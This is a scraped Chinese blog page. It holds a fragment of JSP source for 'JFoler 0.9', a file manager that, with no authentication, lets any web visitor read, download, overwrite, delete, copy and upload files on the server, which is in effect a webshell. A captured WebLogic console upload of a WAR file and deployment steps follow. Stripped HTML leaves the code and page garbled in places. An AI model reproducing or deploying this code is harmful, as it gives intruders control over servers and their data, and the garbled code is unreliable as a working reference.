String strCmd = request.getParameter("cmd");

StringBuffer sbEdit=new StringBuffer("");

StringBuffer sbDown=new StringBuffer("");

StringBuffer sbCopy=new StringBuffer("");

StringBuffer sbSaveCopy=new StringBuffer("");

StringBuffer sbNewFile=new StringBuffer("");

if((tabID==null) || tabID.equals(""))

{

tabID = "1";

}

if(strDir==null||strDir.length()<1)

{

strDir = request.getRealPath("/");

}

if(strAction!=null && strAction.equals("down"))

{

File f=new File(strPath);

if(f.length()==0)

{

sbDown.append("文件大小为 0 字节,就不用下了吧");

}

else

{

response.setHeader("content-type","text/html; charset=ISO-8859-1");

response.setContentType("APPLICATION/OCTET-STREAM");

response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");

FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());

out.clearBuffer();

int i;

while ((i=fileInputStream.read()) != -1)

{

out.write(i);

}

fileInputStream.close();

out.close();

}

}

if(strAction!=null && strAction.equals("del"))

{

File f=new File(strPath);

f.delete();

}

if(strAction!=null && strAction.equals("edit"))

{

File f=new File(strPath);

BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));

sbEdit.append("

\r\n");

sbEdit.append("\r\n");

sbEdit.append("\r\n");

sbEdit.append("\r\n");

sbEdit.append(" ");

sbEdit.append("  "+strPath+"\r\n");

sbEdit.append("");

String line="";

while((line=br.readLine())!=null)

{

sbEdit.append(htmlEncode(line)+"\r\n");

}

sbEdit.append("");

sbEdit.append("");

sbEdit.append("");

}

if(strAction!=null && strAction.equals("save"))

{

File f=new File(strPath);

BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));

String strContent=request.getParameter("content");

bw.write(strContent);

bw.close();

}

if(strAction!=null && strAction.equals("copy"))

{

File f=new File(strPath);

sbCopy.append("

\r\n");

sbCopy.append("\r\n");

sbCopy.append("\r\n");

sbCopy.append("\r\n");

sbCopy.append("原始文件: "+strPath+"

");

sbCopy.append("目标文件:

");

sbCopy.append(" ");

sbCopy.append("

 \r\n");

sbCopy.append("

");

}

if(strAction!=null && strAction.equals("savecopy"))

{

File f=new File(strPath);

String strDesFile=request.getParameter("file2");

if(strDesFile==null || strDesFile.equals(""))

{

sbSaveCopy.append("

目标文件错误。");

}

else

{

File f_des=new File(strDesFile);

if(f_des.isFile())

{

sbSaveCopy.append("

目标文件已存在,不能复制。");

}

else

{

String strTmpFile=strDesFile;

if(f_des.isDirectory())

{

if(!strDesFile.endsWith("\\"))

{

strDesFile=strDesFile+"\\";

}

strTmpFile=strDesFile+"cqq_"+strFile;

}

File f_des_copy=new File(strTmpFile);

FileInputStream in1=new FileInputStream(f);

FileOutputStream out1=new FileOutputStream(f_des_copy);

byte[] buffer=new byte[1024];

int c;

while((c=in1.read(buffer))!=-1)

{

out1.write(buffer,0,c);

}

in1.close();

out1.close();

sbSaveCopy.append("原始文件 :"+strPath+"

");

sbSaveCopy.append("目标文件 :"+strTmpFile+"

");

sbSaveCopy.append("复制成功!");

}

}

sbSaveCopy.append("

");

}

if(strAction!=null && strAction.equals("newFile"))

{

String strF=request.getParameter("fileName");

String strType1=request.getParameter("btnNewFile");

String strType2=request.getParameter("btnNewDir");

String strType="";

if(strType1==null)

{

strType="Dir";

}

else if(strType2==null)

{

strType="File";

}

if(!strType.equals("") && !(strF==null || strF.equals("")))

{

File f_new=new File(strF);

if(strType.equals("File") && !f_new.createNewFile())

sbNewFile.append(strF+" 文件创建失败");

if(strType.equals("Dir") && !f_new.mkdirs())

sbNewFile.append(strF+" 目录创建失败");

}

else

{

sbNewFile.append("

建立文件或目录出错。");

}

}

if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))

{

String tempdir=".";

boolean error=false;

response.setContentType("text/html");

sbNewFile.append("

建立文件或目录出错。");

HttpMultiPartParser parser = new HttpMultiPartParser();

int bstart = request.getContentType().lastIndexOf("oundary=");

String bound = request.getContentType().substring(bstart + 8);

int clength = request.getContentLength();

Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);

if (ht.get("cqqUploadFile") != null)

{

FileInfo fi = (FileInfo) ht.get("cqqUploadFile");

File f1 = fi.file;

UplInfo info = UploadMonitor.getInfo(fi.clientFileName);

if (info != null && info.aborted)

{

f1.delete();

request.setAttribute("error", "Upload aborted");

}

else

{

String path = (String) ht.get("path");

if(path!=null && !path.endsWith("\\"))

path = path + "\\";

if (!f1.renameTo(new File(path + f1.getName())))

{

request.setAttribute("error", "Cannot upload file.");

error = true;

f1.delete();

}

}

}

}

%>

td,select,input,body{font-size:9pt;}

A { TEXT-DECORATION: none }

#tablist{

padding: 5px 0;

margin-left: 0;

margin-bottom: 0;

margin-top: 0.1em;

font:9pt;

}

#tablist li{

list-style: none;

display: inline;

margin: 0;

}

#tablist li a{

padding: 3px 0.5em;

margin-left: 3px;

border: 1px solid ;

background: F6F6F6;

}

#tablist li a:link, #tablist li a:visited{

color: navy;

}

#tablist li a.current{

background: #EAEAFF;

}

#tabcontentcontainer{

width: 100%;

padding: 5px;

border: 1px solid black;

}

.tabcontent{

display:none;

}

var initialtab=[, "menu"]

Stop editting

function cascadedstyle(el, cssproperty, csspropertyNS){

if (el.currentStyle)

return el.currentStyle[cssproperty]

else if (window.getComputedStyle){

var elstyle=window.getComputedStyle(el, "")

return elstyle.getPropertyValue(csspropertyNS)

}

}

var previoustab=""

function expandcontent(cid, aobject){

if (document.getElementById){

highlighttab(aobject)

if (previoustab!="")

document.getElementById(previoustab).style.display="none"

document.getElementById(cid).style.display="block"

previoustab=cid

if (aobject.blur)

aobject.blur()

return false

}

else

return true

}

function highlighttab(aobject){

if (typeof tabobjlinks=="undefined")

collecttablinks()

for (i=0; i

tabobjlinks[i].style.backgroundColor=initTabcolor

var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor

aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor

}

function collecttablinks(){

var tabobj=document.getElementById("tablist")

tabobjlinks=tabobj.getElementsByTagName("A")

}

function do_onload(){

collecttablinks()

initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")

initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")

expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])

}

if (window.addEventListener)

window.addEventListener("load", do_onload, false)

else if (window.attachEvent)

window.attachEvent("onload", do_onload)

else if (document.getElementById)

window.οnlοad=do_onload

function doForm(action,path,file,cmd,tab,content)

{

document.frmCqq.action.value=action;

document.frmCqq.path.value=path;

document.frmCqq.file.value=file;

document.frmCqq.cmd.value=cmd;

document.frmCqq.tabID.value=tab;

document.frmCqq.content.value=content;

if(action=="del")

{

if(confirm("确定要删除文件 "+file+" 吗?"))

document.frmCqq.submit();

}

else

{

document.frmCqq.submit();

}

}

JFoler 0.9 ---A jsp based web folder management tool by Steven Cee

StringBuffer sbFolder=new StringBuffer("");

StringBuffer sbFile=new StringBuffer("");

try

{

File objFile = new File(strDir);

File list[] = objFile.listFiles();

if(objFile.getAbsolutePath().length()>3)

{

sbFolder.append("

  ");

sbFolder.append(strParentFolder[languageNo]+"


- - - - - - - - - - - \r\n ");

}

for(int i=0;i

{

if(list[i].isDirectory())

{

sbFolder.append("

 ");

sbFolder.append(" ");

sbFolder.append(list[i].getName()+"

");

}

else

{

String strLen="";

String strDT="";

long lFile=0;

lFile=list[i].length();

strLen = convertFileSize(lFile);

Date dt=new Date(list[i].lastModified());

strDT=dt.toLocaleString();

sbFile.append("

");

sbFile.append(""+list[i].getName());

sbFile.append("

");

sbFile.append(""+strLen);

sbFile.append("

");

sbFile.append(""+strDT);

sbFile.append("

");

sbFile.append("  ");

sbFile.append(strFileEdit[languageNo]+" ");

sbFile.append("  ");

sbFile.append(strFileDel[languageNo]+" ");

sbFile.append("  ");

sbFile.append(strFileDown[languageNo]+" ");

sbFile.append("  ");

sbFile.append(strFileCopy[languageNo]+" ");

}

}

}

catch(Exception e)

{

out.println("操作失败: "+e.toString()+"");

}

%>

www.topronet.com ,All Rights Reserved.


Any question, please email me cqq1978@Gmail.com

![](https://img2020.likecs.com/blog/1630201/202102/1630201-20210222164728022-1677176904.png)

-----------------------------8434166712903

Content-Disposition: form-data; name="AppApplicationInstallPortletuploadPlanPath"; filename=""

Content-Type: application/octet-stream

-----------------------------8434166712903

Content-Disposition: form-data; name="AppApplicationInstallPortletfrsc"

0x062430ecab863931868d682e81a64437e4490c23def60129

-----------------------------8434166712903--

HTTP/1.1 200 OK

Cache-Control: no-cache,no-store,max-age=0

Cache-Control: no-cache,no-store,max-age=0

Cache-Control: no-cache,no-store,max-age=0

Cache-Control: no-cache,no-store,max-age=0

Connection: close

Date: Mon, 22 Feb 2021 06:20:53 GMT

Pragma: No-cache

Pragma: No-cache

Pragma: No-cache

Pragma: No-cache

Content-Type: text/html; charset=UTF-8

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Content-Language: en-US

X-Powered-By: Servlet/2.5 JSP/2.1

Content-Length: 37476

Install Application Assistant - base_domain - WLS Console
Skip repetitive links
WebLogic Server Administration Console Home
IdleBusy

wls.console.pageHelpURL = null;

wls.console.pageHelpKey = 'J2EEappinstalltitle';

wls.console.recordState = {

contextRoot: "/console",

prompt: false,

recordingStarted: false

};

  • Search

     Search

Welcome,

weblogic

Connected to:

base_domain

End of repetitive links
JavaScript is required. Enable JavaScript to use WebLogic Administration Console.

Messages

Message icon - Success The file test3693.war has been uploaded successfully to /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/upload

Install Application Assistant

Back 

Next 

Finish 

Cancel 

Locate deployment to install and prepare for deployment

Select the file path that represents the application root directory, archive file, exploded archive directory, or application module descriptor that you want to install. You can also enter the path of the application directory or file in the Path field. Note: Only valid file paths are displayed below. If you cannot find your deployment files, upload your file(s) and/or confirm that your application contains the required deployment descriptors.

Path:

Recently Used Paths:

  • (none)
  • WAR filetest3693.war

document.form.onkeypress = wls.console.enterHandler;

function changeCenterCheck(){

return wls.console.checkForUnsavedChanges(document.form,"You have unsaved changes. Press OK to ignore the changes and continue with the Change Center action. To save your changes press Cancel to stay on this page. You can then complete your changes and save them.");

}

Back 

Next 

Finish 

Cancel 

Change Center

View changes and restarts

Configuration editing is enabled. Future changes will automatically be activated as you modify, add or delete items in this domain.

Domain Structure

部署完成

fb83eadf5dc9447f488255d9618c2bd3.png

开始配置系统环境

b8a349495104b55b5684929023a8af4c.png

选择协议,然后选择HTTP

2b75517dd59bfa1eaa015567aff97607.png

再次点击部署(Deployments)

a1d431a444cc574a77b3cbfb57097aeb.png

然后就可以访问项目了 http://IP:PORT/ProjectName

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值